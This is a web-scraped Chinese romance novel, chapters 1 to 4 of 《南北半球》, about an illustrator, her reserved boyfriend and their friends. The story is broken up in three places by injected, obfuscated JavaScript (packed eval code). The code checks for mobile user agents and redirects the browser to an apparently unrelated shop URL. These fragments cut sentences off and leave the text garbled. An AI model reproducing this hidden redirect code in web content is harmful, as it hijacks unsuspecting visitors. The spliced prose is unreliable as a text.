《南北半球》 1. 心动者 看过演唱会之后的戒断反应就是——满脑子都是舞台上喜欢的歌手发光发亮的样子，耳边回荡的也是体育场馆里的大合唱。 温亦的巡演已近半程，但昨天晚上的这一场更与众不同，不仅是因为粉丝后援会精心准备的生日荧幕视频，更是有场馆上空飞行器不停转换拼出来的各式“祝福”。 名为演唱会的乌托邦，在生日这种具有特殊意义的时间节点，拥有了更多的难忘记忆。 “啊——呜呜——演唱会的戒断反应真的好难啊，木仔，怎么办，我出不来了……” 江沐珂躺在懒人沙发里，手机歪歪扭扭地摆在手边的小茶几上，平板被她捧在双手里，仰头正对着上面今晚通宵肝出来的激情之作，嘴里一直和电话里的人念叨个不停。 太过专注的注意力状态，对身后的动静根本没有丝毫留意，自然而然地错过输入密码开门的声音。 周迟一今天刚结束一些拍摄前的准备工作，从梅泾市出差回来，推开门顺手把外套挂在衣架上，神色间隐约透露些许长时间来回辗转才有的疲惫。 “你已经给我念叨两天了，就连画都已经画了三张，还是四张来着，而且还是不算上Q版小人在内的”，电话里，木仔笑着接话。 顺着木仔的话，江沐珂手指往右侧翻，口中小声跟随数着数字，“纠正一下，加上Q版，一共9张，可是怎么办啊，相机里还有好多我很爱的镜头舞台的，不想工作，不想画连载，只想画温亦，他怎么这么帅啊！” 这种类似的话，江沐珂已经说得有十几遍，甚至更多，木仔光是这一通电话都已经听得耳朵要出茧子的程度。 木仔看着两人的聊天页面，上面都是江沐珂发来的温亦的画作，有一半是江沐珂还没有来得及整理发上微博账号，“好心提醒一下，你是有男朋友的人，能不能收敛点，嗯？” 在沙发上刚巧翻个身，手机里播放出这句话，江沐珂抬头的瞬间和周迟一四目相视。 嘴角的弧度还没来得及放下，身体已经更先做出反应。 “嗨……” 木讷挥手的空档里，江沐珂已经想了无数个问题——他什么时候回来，都听到了多少。 最主要是，她犯花痴的这些是不是也都被看在眼里了。 周迟一向来不喜欢她咋咋呼呼的一面，估计现在心里肯定是嫌弃她的。 不过这种自责的心理只是持续几秒钟，很快就被江沐珂抛之脑后，挂断电话，轻轻合上平板放在沙发上。 客厅里一直铺着地毯，是为了防止她在家里来回走动。 这个赤脚走路的毛病，周迟一不止一次数落过江沐珂，都无果，只得妥协在家里布置上地毯。 江沐珂从沙发上翻身，赤脚溜到周迟一面前，脸上的兴奋还留存在，微抬头站在他面前，“工作辛苦啦，我去给你倒杯水，你先去沙发上休息一下，很快就好哦。” 周迟一从始至终都没有说话，一双明显带着疲惫的眼睛始终紧锁在眼前人身上，嘴角有微微蠕动。 沉默持续，直到江沐珂的话说完，他的嘴角缓缓弯出弧度。 在江沐珂转身的瞬间，右手突然抬起，准确无误抓在她本就纤细的腕骨，“别忙活，你也歇一歇。” “嗯？”江沐珂很少见到周迟一这个样子，就着手腕的方向侧歪下头，疑惑回望，“我一直在家里，不累的啊。” 这不是周迟一第一次出差，也不是他们两人第一次异地分开，以往也都是和这次一样，四五天，长点的话会有一个周左右。 在今天之前，周迟一没有哪次是会将颓丧暴露在人前的。 有关这个问题，江沐珂很早之前专门针对性地和他深入交流，希望彼此能够互相做对方的依靠。 像周迟一那样的人，改变从来都只能是循序渐进的。 江沐珂呆愣一瞬，下一秒陡然回神，接上刚刚的喜悦情绪，更加欣喜。 “嗯——那我就勉为其难借你个肩膀咯。” 靠近周迟一的一侧肩头，江沐珂的手轻轻拍两下给他示意。 男朋友是职场精英的不好就是，无论心情好或是坏，都很难从脸上看出太多的情绪表达，让人猜不透。 而周迟一便是这种人，心理防线高，表情管理满分。 “对咯，提醒一下亲爱的周先生，按秒收费哦！” 顺着周迟一的动作坐下，两个人肩抵着肩依偎在一处。 在客厅的暖灯包围里，将一颗常年冷漠的心悄悄剥下一层外壳，薄薄的。 周迟一歪头任由上半身的重量都倒在一侧，真就如江沐珂所说的，借她一个肩膀依靠，释放所有重量。 “江小姐，请问用一顿大餐来抵收费能不能行得通？” 大约有五六分钟的时间，并不长，但江沐珂差点要怀疑他是不是靠着睡着了。 周迟一说话的声音不大，可能是靠得近的原因，江沐珂总觉得比平时说话时音量要高，听得她声控的属性险些要收不住犯声痴。 可能最开始喜欢上周迟一，也不仅仅是颜控，人品，魅力这些方面，声音应该也被划在其中之一。 周迟一很会做饭，并且做的很好吃，不止是味道，还包括卖相。 色香味俱全，这是江沐珂对他厨艺的最高评价。 学生时期，她还开过玩笑说，如果不去公司工作的话，他绝对能去应聘成为五星级大厨的。 那个时候，周迟一不置可否，只是浅浅一笑，抬头轻揉她头发。 后来，踏入社会，两个人都有各自的工作要忙碌，周迟一在公司里更是很多时候忙得看不到人。 亲自下厨这件事便成了很难有机会的事情。 听到亲自下厨的大餐，江沐珂忍了很久的馋猫属性暴露无遗，就差嘴角流口水了。 江沐珂激动地双手展开抱住，“周先生，我要一直和你好，期限是一辈子，不对！是好多好多辈子！” 在周迟一这里，江沐珂已经不记得究竟许下过多少个承诺，大概是需要拿本子做计量单位的程度。 每每和闺蜜朋友聊到男朋友的时候，她们都一致认为，喜欢一个人喜欢到骨子里，一定是江沐珂的样子。 “不要，我今天不想吃大餐，你下次出差给我带礼物做补偿”，江沐珂抿着嘴角，一脸鬼灵精的小表情。 平时江沐珂都会各种耍小机灵套路周迟一下厨，今天反而主动制止，很反常不合乎常理。 周迟一微微皱眉，“礼物不是每次都有吗，确定今天不吃吗？” “嗯，不吃，我刚吃过木仔点的外卖，一点也不饿！” 江沐珂严肃正经的表情很有说服力。 如果周迟一没有听到那通电话聊天内容的话。 刚推门回来时，明明还在说自己画了一天还没吃饭，快饿得没有魂了。 江沐珂哪里都好，就是有时候太贴心懂事了。 周迟一猜得到小馋猫今天反常的原因，肯定是看出来他脸上的倦色了。 “不要再装了，我们出去吃西苑的菜可以吧，好好犒劳犒劳我们的小画家。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283266|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周迟一单手捏住江沐珂脸颊，两侧的肉肉被挤在一起，萌萌的更可爱了。 西苑是周迟一的朋友开的店，是一处口碑极好的酒店，最近两年有意往网红餐厅发展的趋势，平时都是爆满，很难预约到。 借着周迟一的面子，江沐珂没少在这里吃饭，尤其喜欢西苑的辣口味的菜，很正宗，很爽。 过段时间因为要参加一个漫展的线下签售，江沐珂已经很久没有碰这些重油重辣的饭菜，早就馋得不行。 “去！去西苑！我要吃爆辣牛肉！麻辣鸡心！还有还有……” 一连串很多个菜名从江沐珂嘴边脱口而出，根本不需要多加思考，仿佛这些菜名就刻在脑子里。 越往后听下去，周迟一的眉头收拢得越紧。 能吃辣是好事，但是一口气吃这么多辣，就不是了。 “下个月你还有工作呢，这次不准备注意形象了？” 周迟一适时地提醒她。 说起下个月的工作，这算是江沐珂临时顶上，两人第一次在工作领域上的合作。 周迟一参加的剧组里的美术指导临到开工前违约，江沐珂得知这件事，直接拍胸脯自信大言，揽下工作。 早在两个人的工作步入正轨后，周迟一就提议过这件事，当时的江沐珂以自己经验不足为由，很坚决的表示暂时只想专注插画和原画的工作。 和剧组人员配合是第一次，从一些服化道上的色彩搭配，以及布景场景颜色，再到后期宣传时的插画海报各方面，江沐珂都要和下面团队一起完成。 工作量不多，但也绝对不能说是少的。 刚升起来的激动心情，被从头浇了一盆冷水。 江沐珂瘪着嘴角，手上玩闹似的轻打在他身上，“你讨厌，我要讨厌你十分钟，哼。” 十分钟，刚好是从家里开车到西苑的车程时间，加上红绿灯时间。 偏心偏得毫不遮掩。 周迟一摇头笑笑，从沙发上拿着两人的外套搭在肘间。 “徐知远，老位置，我们十分钟后到。” 电话里的人骂骂咧咧回应，“周大少爷，拜托你下次不要像搞突击检查可好？” 每一次都是这个样子，心血来潮似的来吃饭，那肉和菜炒熟不要时间的吗？ 徐知远坐在高层办公室里，呛了呛鼻子。 神经好友，净干些坑朋友的事，周迟一属第一。 听周迟一和他的朋友打电话很有意思，因为他的朋友都好像真的拥有一个有趣的灵魂。 所以，江沐珂就很好奇，周迟一这种对待任何事都淡淡的人，他的这些热情张扬的朋友是如何与他相处下去的。 明明是完全不相同的两种人，偏偏还是从小一起长大加倍了解的。 这是个无解的问题，就连周迟一的亲妹妹也说不上来答案。 几秒钟的时间，江沐珂转头丢掉疑惑，回归到更接近眼前现实情况的问题—— “这次出差工作很多吗，感觉你好像心情很不好。” 江沐珂坐在副驾驶位上，手指在手机屏幕上滑动，没有抬头说话轻声问。 手机里木仔还在持续性的发消息聊天，江沐珂眼睛在看，而脑子里想的更多的是，各种有关周迟一的猜测。 从大学到现在，相处两年半的时间里，除了在帮自己妹妹出气时的大动肝火，其他情况里，他从来都是淡淡的，没有大起，更没大伏。 用周迟一妹妹周末的一句话来形容： “哥，你就是个会喘气的死人。” 2. 艳阳天 前面路口适逢红绿灯，双手搭在方向盘上，右手的食指上下轻叩，声音不大，并不惹人心烦。 深秋的时节，车窗外已经开始吹了凉风，台风天带来的不仅仅是各大公园的残枝败叶，更是冷空气的突袭。 周迟一侧眸看着窗外被风吹动的枝叶，路边偶尔还有环卫工人在帮着台风收拾残局，连根半倒的绿化歪歪扭扭四散着，挡去不少行人走道。 街道上不知道是因为不是上下班时间，还是因为台风的威慑缘故，没有太多人经过。 “没什么的，就是想你了。” 周迟一轻描淡写，仿佛只是在说一句无关紧要的话。 江沐珂手指停顿在手机屏幕前，保持着正要落下的动作，嘴角想要上扬的弧度压不住一点。 抬头时，一双眼睛比之平时更要闪烁，“我没事的，台风天我都没有出门的。” 江沐珂想到，昨天大台风登录时，周迟一的视频电话一直没有挂断，哪怕他当时还有工作在处理，只是放在一旁，什么话也不说，时不时抬头看一眼手机视频。 那个时候，江沐珂只觉得奇怪，没有去多想什么，现在把这句话和那个视频联系在一起，好像有点能解释得通了。 她就说嘛，人心都是肉做的，只要不是没有心的人，怎么可能不会被感化呢，而且她还是这么可爱、热情、讨喜的女孩子。 红灯的倒计时结束，两人的聊天也顺势结束。 转弯后的新街道和刚刚有所不同，道路两旁的银杏叶一眼望去，尽是黄色，是秋天的颜色。 降下车窗，能看到偶尔一两个学生模样的小同学路过，在路边捡起被台风吹落到绿化带上的叶子，举在眼前欣赏。 学生时期的他们也曾做过这些事，现在的画册里还藏有那些银杏叶，有的上面写着黑色签字笔留下的痕迹，每次打开都如同抽奖一般，谁都猜不到下一个银杏叶背面会写着什么矫情、酸涩或甜蜜的文字。 如果想要在那么挺多的本子夹层里抽到写有周迟一字迹的银杏叶，更是稀有之至。 “喂，珂珂姐，你们到哪里了？” 江沐珂接起手机突然响起的铃音，是周迟一的妹妹周末，这小姑娘自从有了她的联系方式后，就经常和她联系，所以她们两个人的关系更像是两个女生朋友相互珍惜。 在认路这方面，江沐珂有很大的困难，道路走过很多遍，但是几条路之间的名字依旧没有彻底分清。 江沐珂下意识侧头，周迟一已经明白她的意思，开口帮着回答，“再过一个路口就到了，你不是要去和朋友出门旅游玩吗，怎么也在西苑？” 他这个妹妹玩心没收，只要不是工作的时间，很少能听到她的消息，不是在这个城市，就是在另一个城市，全国各地的游玩，朋友更是遍地都是。 像她这种朋友一大把的性格，其实很难理解怎么能和江沐珂保持着这么长久，并且亲密的关系。 周迟一淡淡想。 “你少管，我不想出去玩了还不行啊，快点的，我都饿了，小徐哥不让我动筷子！” 高知家庭里长大的徐知远，在各种家教修养方面的讲究注意，连带着兄弟的妹妹也一起帮忙抓着。 每次和徐知远这个死板的人待在一起，周末都觉得自己在被各种条条框框套着，有时候还可能会被说教上许久。 对待这种场景，老妈老爹乐意看到，周迟一也乐意，唯一可能会赞同她的人只有江沐珂，偏偏江沐珂大多数时间都会和自己哥哥统一战线，保持沉默不言。 电话里面徐知远略带说教味的声音，隐隐通过手机传出来，周末炸毛的动静也合着一起。 “哎呀，你好烦，我以后找对象绝对要避雷你这样的，这和多个碎嘴的爹有什么区别……” “臭小徐，我要讨厌你了，好烦啊你”，周末堵着耳朵依旧能听到徐知远说着没大没小，不能这么叫他的话语，“珂珂姐，我先挂了，他太烦人了……” 贴在耳侧的手机里，只剩下不停断的系统忙音。 都认识这么久了，周末还没适应徐知远有时候那没什么用的讲究，尤其是在大部分时间都不讲规矩的周末身上，最为没用，反倒有几分旧时代社会的繁文缛节的反作用。 - 西苑二楼包间里，周末没什么精神地趴在桌子上，下巴枕着一只胳膊，蓝牙耳机被稳稳堵在耳朵里。 至于其他人，她才懒得管，听着脑子都要炸。 好不容易刚从费脑子的事情里脱身放松，现在又要被这种无聊的内容缠上，真有点后悔来蹭这顿饭了。 “小徐哥，徐姨怎么还不催你去相亲啊，你赶紧找个女朋友去吧”，约莫着时间，周迟一应该快到了，周末把耳机摘下来，苦丧着表情主动开口，只不过话里的内容一点都不友好，“你说说你要长相有长相，要事业有事业，就连全网无前任这种事情都是千真万确的，怎么就没有人把你收了呢？” 徐知远顺着送餐人员的离开把门关上，正转身面对她，“怎么，想让我找个女朋友，这样你就有靠山了？” 就说吧，一起长大太了解对方不是什么好事，刚张嘴就知道要说什么话。 周末慢慢白了一眼，不吭声沉默，也不反驳。 话都说到这个份上了，她实在是驳无可驳，这种嘴皮子人才还在社会上留着，完全就是害人不浅。 “说真的啊，小徐哥你真的就一点不想找的吗，明明是挺帅一帅哥的”，周末还是不想这么轻易就放弃劝说的自救。 包间的门被从外面推开，夹杂一阵由外而进的凉风，江沐珂先进来，周迟一在她后面，顺手接过她手中的外套。 牢骚一般的八卦追问被两人听个正好，江沐珂的视线先在徐知远身上徘徊几秒，很快移开，嘴角挂上意味深长的弧度。 顺着周末拍椅子示意的动作，江沐珂在她旁边坐下，轻轻开口，听得徐知远想阻止也没有什么机会。 “或许可能是你小徐哥，心里早就有人了也说不准呢”，江沐珂漫不经心一句话，转而自顾自地给自己倒杯热水喝。 其实只是无关紧要的一句话，反而惹得周迟一抬眼看一下徐知远的位置，抿起嘴角很是意味深长地笑着。 迟迟没有消失的嘴角，成功把周末带跑偏，把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“珂珂姐，你不要和我哥说，不然他又该说教我了”，周末小心凑到江沐珂耳朵旁边，用着只有两个人的声音叮嘱。 和很多的哥哥一样，对自己妹妹的感情方面的事都会比较上心。 在周迟一的认真程度里，工作和事业排在首位，而周末只是仅次于这二者。 江沐珂轻轻耸一下右侧的肩头，眼神示意给出回应。 回家的路上，江沐珂坐在驾驶位，驾照拿到得比较晚的原因，她其实一直都挺不相信自己的车技的，不是很没自信，是一点都没自信。 周迟一侧目靠在座位上，扬手搭在江沐珂手上，缓缓拍两下，“没事的，我们慢点开，我看着你开。” 依旧是记忆里温柔的模样，和第一次初见时一样。 初见不是在艳阳天，但却在江沐珂的心里升起了持久不落的骄阳。 不怎么美好的暴雪天，随处可见的滑倒印，第一次的对视狼狈发生在教学楼下，当时的阎槐说的一句话让江沐珂印象深到现在。 3. 热可可 回到家，江沐珂直接瘫在沙发上，丝毫不顾会被念叨的可能，直喇喇地单手搭在眼睛上，四肢都仿佛绵软无力一般各自有着自己的想法。 周迟一从房间里换好衣服出来，手上动作还正在挽着袖口，摇摇头没有打扰她现在的放松状态。 在一起这两年半，他们一起在家的时间并不多，他们各自有各自的工作，不会因为对方而去迁就妥协太多。 简单来说就是，不会因为感情的事情而影响个人的决定。 其实江沐珂不是这种很会规划性格的人，但是周迟一是的，而且是可以称得上模范代表的类型。 这么久时间相处下来，江沐珂愣是学会适应，有时候无意间可能会带出周迟一的口吻和语调，或是处事风格来。 为此，偶尔的和好姐妹赵清浔通电话时，没少被她嫌弃地提到这一点。 江沐珂短暂放松结束，换做姿势半靠在沙发上，在客厅里能听到书房里隐约的说话声，很严肃的语调，估摸着又是在开什么会议，商讨一些问题吧。 事业脑的工作强人一向如此。 “咔啪——” 客厅角落，江沐珂的影子从另一个房间里被投射出来，透过门口露出来的白炽灯光线成为客厅里最后的光亮。 在两种身份之间快速的转变，跟随周迟一的脚步，江沐珂早已习惯。 很早之前对于那些说两个人待一处久了，就会越来越相像的言论嗤之以鼻，而现在回过头再重新看，江沐珂只觉得这句话还真就是没有办法反驳的大实话。 【热可可】：我又来开始奋笔疾书了！ 【热可可】：[表情包] 自制的小猫表情包，是木仔帮着江沐珂养的猫主子，因为一些无奈的原因，只能暂时放在木仔家中。 【木仔】：不是吧，周总要不要这么忙啊，你们都多久没一起出去放松过了，事业脑夫妇？ 投入到画画中的江沐珂是屏蔽外界一切消息的，包括手机上的各种社交联络软件。 发给木仔的消息是上一秒，即便是秒回的回复，江沐珂也是到结束，关掉电脑才看到具体详细的内容。 接近凌晨的时间，江沐珂活动活动脖子，起身伸个懒腰，大脑神经依旧还处在画画时活跃的状态里，还没有多少困意。 【热可可】：还好吧，习惯就好啦，安啦~ 江沐珂抬眼望一眼书房的方向，门缝里能看到里面投出来的光线，看来是还在处理工作上的事情，也不知道最近是不是碰到了什么难题，出差回来是疲惫的，会议也是一个接一个的。 抬手揉揉眉头，试图让自己的眉毛舒展，用两根手指撑着嘴角挤出还算可以的弧度。 “我整理了一下最近几天的画作，准备去微博上放个大的。” 江沐珂单手拿着手机录语音条，在冰箱里面找酸奶喝，缓解这会儿嘴馋的劲头。 一小盒老酸奶被放在玻璃桌上，盘着双腿窝沙发上，平板正摆在腿上，唇瓣间轻咬着小勺，另一只手在屏幕上几下轻点，嘴角浮现着对画作满意的笑容，轻点一下“完成”，刚编辑好的微博内容被发送出去。 果然是冲浪速度超快的粉丝们，刚发送出去再刷新，已经能够在评论区里看到粉丝的实时评论，一波紧接着一波的彩虹屁贴脸输出。 这次和以往每次发布动态有些许不同，往常都是她专栏里的连环画的更新，或者是一些灵感之作，有时候是为爱发电，还有一个缘更的专栏连载漫画，没有哪次是为明星艺人画作。 就像木仔说的，之前不见江沐珂为明星艺人画画，以为是怕被人说是蹭热度，知道这一次才知道，就是单纯的没有上头程度到要为他作画的程度。 这次也就是演唱会的戒断反应实在是太大，忍是忍不住一点的，索性就放飞自我了。 为了这种心血来潮的画画，许久没有熬夜的人贡献出至少三个晚上。 [一杯热可可：听到了耳机里的声音，这次见过了，下次还见！] 微博的配图是十八张图，排放的顺序是，先画作，后真人图。 而且，江沐珂还贴心地带了温亦的话题，以及超话的部分。 [爬墙专业户]：双厨狂喜！我的墙头联动了，谁懂啊啊啊！我太开心了！ [爱吃旺仔□□糖]：@温亦，快来查收太太做的饭，绝对比你自己画的好看百倍千倍（跪谢太太给儿子画画/么么哒/） [左耳情话]：这场我也去看了！我和姐姐距离最近的一次，后悔啊…… [一直耳洞小猫]：呜呜呜，有生之年系列，终于看到我姐画我担了，真的最爱姐姐的画风了，我要拿走做壁纸！ [红豆挣学分]：好可爱，好帅，好卡哇伊，求姐姐多画！ [热可可铁粉就是我]：爱看多画（PS：偷偷说：《十八》是不是该更新了？/期待星星眼/） …… “哇哇哇——” 四人的视频电话还在继续，周迟一被某人突然的动静惊到，扯着耳机往另一边躲，才幸得耳朵逃过一劫。 三人都面露不解，纷纷从手里的各个简历和名单里抬头，看着视频电话里同一个镜头。 “干嘛呢，犯羊癫疯呢，如果是，我可是要劝你赶快挂断电话了，省得病毒顺着网线传过来”，是这次项目的投资人，也是个家大业大的富二代，不算是少爷玩公司的类型，熟稔地直接回怼过去。 周迟一挑下眉头，一脸赞同的神情。 视频镜头里，温亦一阵手忙脚乱，乱糟糟的动静持续，嘴上念叨的也不停，“等一下，等一下，我这就让你们看，嘿嘿嘿……” 本来人就不是多么聪明，现在这个样子的笑声听起来更加憨里傻气了。 视频里短暂的进入到一种空白墙壁的画面，从耳机里持续没有消失的鼠标声音让人确认对方还在电脑旁边的事实。 “当当当——” 平板比本人更早出现在镜头里，这也是造成他连连感叹的原因所在。 温亦从平板后面探出头，单手拿着平板的一边，正竖在自己胸前，只要有人把视线放在他这里，就一定不会错过看到平板上的内容。 语气得意，表情浮夸得不像平常。 “周迟一！你为什么不看？” 三个观众里，偏偏就点名了周迟一，另外两人皆是一脸疑问，而被点名的人则是慢悠悠抬眸，什么话都没说，但又好像都说了。 “我说，温大歌手，你非要等你的大晚上时间跟着一起开会，倒是能不能上点心，中途开小差就算了，现在又是准备闹哪样？” 阎槐抬腕看一眼左手上的手表，已经是第二天的时间，他可真敬业啊，不愧是成功人士。 这种时候也时刻不忘记夸赞自己一番。 正在兴奋头上的好心情，容不得任何人的坏脸色，温亦另一只手忿忿用着大力点在平板屏幕上，听说话的口气隐隐带上些许咬牙，“你说，说说说，说什么说啊，我工作这么晚还陪你们工作，还不够敬业，你没事胡说什么，还有啊，我这可不叫开小差，知道这是谁画的吗，多好看，这张，还有这张，你敢说不好看？” 坏了，兔崽子炸毛了。 阎槐不敢再多说什么，这个时间点，他是真的有点困了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283268|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，都怪这兔崽子，非要说录完节目一起视频会议。 “是是是，好看，帅，都是你，温大帅哥”，阎槐侧侧头，眼神已经开始有些打架，“我怎么可能会知道是谁画的，又不是给我画的。” 犯困也挡不住翻白眼的动作。 温亦的电脑屏幕上，阎槐的视频镜头好巧不巧地静止在这个白眼的动作上，网卡得太是时间，成功捕捉到不友好的眼神，被人抓个正着。 十几秒的网卡时间结束，温亦的视频镜头瞬间变化，他的表情如刚刚盯着看的白眼一般，很不友好。 “嘁，你想要还没有呢，这是周老板女朋友给我画的，你想要还没有呢，再说，就你？” 两个人虽然没有面对面聊天说话，并不耽误温亦故意做出这种上下打量的小动作，“你这长得也就中规中矩吧，就算是给你画，也就那样吧。” 话里话外都是在贬低嘲讽的字眼。 阎槐懒得和他一般见识，这会儿双眼的困意来得凶猛，有些招架不住。 从温亦提到自己开始，周迟一单手撑脸，真就顺着温亦滑动的动作，挨个把每一张画都看了一遍。 右手在桌面上来来回回地轻叩，嘴角露出似有若无的弧度轻笑。 这些画的画风不难看出是江沐珂的风格，前几张是她一直都很爱的国潮风格，至于后几张的话，是相对可爱的风格，其中放在C位的一张，则是华贵帅气的写实。 擅长和不擅长的风格，都能在这个新发布的微博图片里体现得很彻底。 周迟一随手拢一下额头落下来的头发，没几秒再次落下，不听话地挡到视线。 被随手放的发箍就在桌子侧边挂着，周迟一伸手拿过，随意地拢在头上，歪着头继续听视频里某个沾沾自喜的人说个不停。 “哎，迟一，我没记错的话，江沐珂不是第一次去温亦的演唱会的吧？” 阎槐早就被念叨得头疼脑子疼，试图岔开这种与炫耀嘲讽挂钩的话题。 周迟一停顿约莫几秒钟，点头道，“嗯，去过三次了，徐江，梅泾，锦海这三个城市的都去过。” 一一列举出来，这很周迟一。 大事小事都能记得清楚，包括里面更详细的细节问题，周迟一的标准行事风格，阎槐和温亦不止一次的好奇过，这种没什么生活情趣，一板一眼的死人机怎么还有人喜欢。 对待很多事情都尽力达到最好，包括细节，生活中处处充斥着todolist的强迫症患者，理智永远排在感性前面的机器人…… 诸如此类的总结形容还有很多，根本说不完。 总之一句话就是，江沐珂到底喜欢上了他哪里，而且是那么久？ 不完全、不准确的来说，在江沐珂二十三岁的时候，她和周迟一在一起。 而在此之前，阎槐听学校音乐社同学聊天提到过—— 暗恋漫无天光，祈福红绳在褪色的风雨中悄悄实现。 江沐珂，一看就是乖乖女，好孩子的女同学，一定是很多家长口中的“别人家的孩子”。 某种意义上来说，乖乖女的定义应该和周迟一是同一卦的，都属于规规矩矩，按部就班的人才对。 物理书上，在磁场学里，S,N极同性相斥，异性相吸，但是这种“磁场吸引法则”在江沐珂身上出现了误差。 这个始终没有答案的好奇问题，不经意间再次涌现到脑海里。 温亦把平板抱在胸前，眉头和双唇都逐渐收拢挤皱，丰富又难看的神情配上他的问话，让人哭笑不得。 “所以珂珂到底是为什么喜欢你的呢，你这种人机？” 4. 晚会宴 江沐珂喜欢周迟一，她自己也说不上来具体原因，可能就是网上经常说的“生理性喜欢”。 如果非要找一件实打实的喜欢缘由，大概就是偶然的一个搭手帮助了。 江沐珂从小到大坚持下来的有两件事，一件是画画，另一件是钢琴。 因为这两个特长，在刚上大学的时候，她首先选择了绘画社团，而在后来和室友的聊天里，又被她们怂恿再多加了一个音乐社团。 当时是大一那年的元旦晚会，所有新生入学之后的第一个大型晚会，很多社团都踊跃带节目报名，江沐珂所在的音乐社团也同样如此。 审核通过的节目里，江沐珂是弹钢琴，与社团里的另一个负责吉他的朋友一起伴奏，另外两人主唱。 本来所有的一切都在正常有序的进展，但是墨菲定律永远会发生在每一个难以预料的瞬间。 负责吉他部分的搭档在晚会开始前接到家里的电话，一通很不好的电话，彩排进行到一半，所有参演人员都围在他身边，表情凝重沉默。 社长缓步走上台，轻轻拍一拍他肩膀，笑着轻声说，“快回去吧，我刚看了一下，今天还有最后一班车了，再不走就真的来不及了。” 关于这个同学家里老人的事情，大家都知道，所有人都以为老人能够熬过这一年，没有人想到意外它本就是只会发生在一个意外的时间里。 吉他伴奏的缺失，让节目大打折扣，其他同学也都没有参与这个节目，临时顶上估计效果也不会怎么样。 在那个节目里，阎槐正是主唱之一，对于这种情况，他也很不想看到。 作为最想出风头的阎槐，是万万容不得眼看着节目进行不下去的，从歪头冥想到想出解决方法仅仅只是花去两分钟时间。 “你们先等一下，我去找个人，一会儿就能继续排练了。” 话刚说完，阎槐就消失不见了，从一侧的走廊往另一间排练室去。 江沐珂和阎槐其实并不熟悉，如果非要找点联系的话，那就是画画社团里关系还不错的女同学曾是他的前女友，对他整个人的印象就是，花心，很花心的一个人。 但是也不能否认，他有花心的资本，家境条件不错，人长得中规中矩，稍加一打扮就很俊的模样。 有钱，有样，再有财，这种人无论是放在哪里都会被人优先选择的。 脑袋里还在盘算着开学这半年来，出现在阎槐身边的女生，嗯……有一点难数得过来。 另一边门口，阎槐已经带着他口中的解决办法走来。 这个速度的时间，估计是从另外的排练室里拉来的人。 “周迟一，舞蹈社团的，擅长爵士”，阎槐又走几步出现在所有人视线范围里，向大家介绍身后的男生。 周迟一的名字可能很多人不知道，但是他的长相在军训的那段时间里，一定是被学校里很多人看过的，在各个录制的手机舞蹈视频里。 一身军绿色的军训服装，本应该是颜值封印神器，但穿在他身上，再配上夜晚手机闪光灯和爵士舞蹈的动作，氛围感直接拉满。 被朋友起哄着加入跳舞行列的一小段，却足够把他送到很多同学的眼前。 “可是我们需要的是会吉他的”，江沐珂坐在钢琴前，面色上的疑惑依旧没有被消除，声音很轻问。 身着褐色大衣，脖颈间随意围着针织围巾，优越的身高和身材，江沐珂承认在第一眼看到时，她也短暂的晃了眼，但也只是很短暂的几秒钟。 所有人都一样，在没有深入了解之前，长相是唯一一个了解的途径。 阎槐和江沐珂不算熟悉，只是短暂的接触过明确不是自己的菜后，便很少有所交流。 他单手撑在钢琴上，故意挑了下眉毛，很得意的模样，“谁说他不会的，他最喜欢的就是这首歌，别说是吉他，就算是钢琴也能现在就上手弹出来。” 拉踩式的介绍，无形中把火药味拉起来。 江沐珂皱下眉，将视线从阎槐身上移开，在和周迟一的目光对上时，还是选择礼貌一笑。 “别听他瞎说，吉他勉强可以上手，但是钢琴是真不太行的”，周迟一主动搭话，在江沐珂的注视下笑着向其他人解释。 被自己的好兄弟驳了面子，阎槐不怒反笑，直接从另一边把吉他抱过来塞到周迟一怀里，嘴里嘟嘟囔囔着：“得得得，那就快开始吧，我一会儿还有约会呢，女朋友刚还给我发消息呢。” 手机在阎槐手里左右摇晃般的扬一扬，另一只手里不知道什么时候已经拿好歌词，催促大家。 本就匆忙的排练时间，在周迟一的加入后，有序的进行并结束。 排练结束，其他人都离开，江沐珂继续坐在钢琴面前，翻到某个刚学不久的谱子上，弹得还不流畅，和节目里的这首一样，有乐器一起合奏时感觉更好。 弹奏进行一半，身后传来吉他的声音，刚好可以与她合上。 江沐珂没有回头，专心在谱子和钢琴键上，安静把一整首歌弹完，身后的人也没有说话，一起完成。 “回来拿围巾，正好听到你在弹琴，就想到之前钢琴老师说过的话，没忍住自作主张弹了，没打扰到你吧？” 这种先斩后奏的事，就算是有打扰，碍于面子应该也没人会说被打扰的了，况且江沐珂本身也没有被打扰到。 江沐珂摇摇头，反说了一声谢谢。 元旦晚会顺利得进行，结果也很不错，社团收获一众好评，阎槐又得到很多小迷妹，不过很不让他满意的一点是，周迟一那个狗东西竟然比他更受欢迎。 进一步的了解是在晚会结束后的吃饭上，校门口的连锁火锅店，阎槐主要做东，让所有人一起去吃饭。 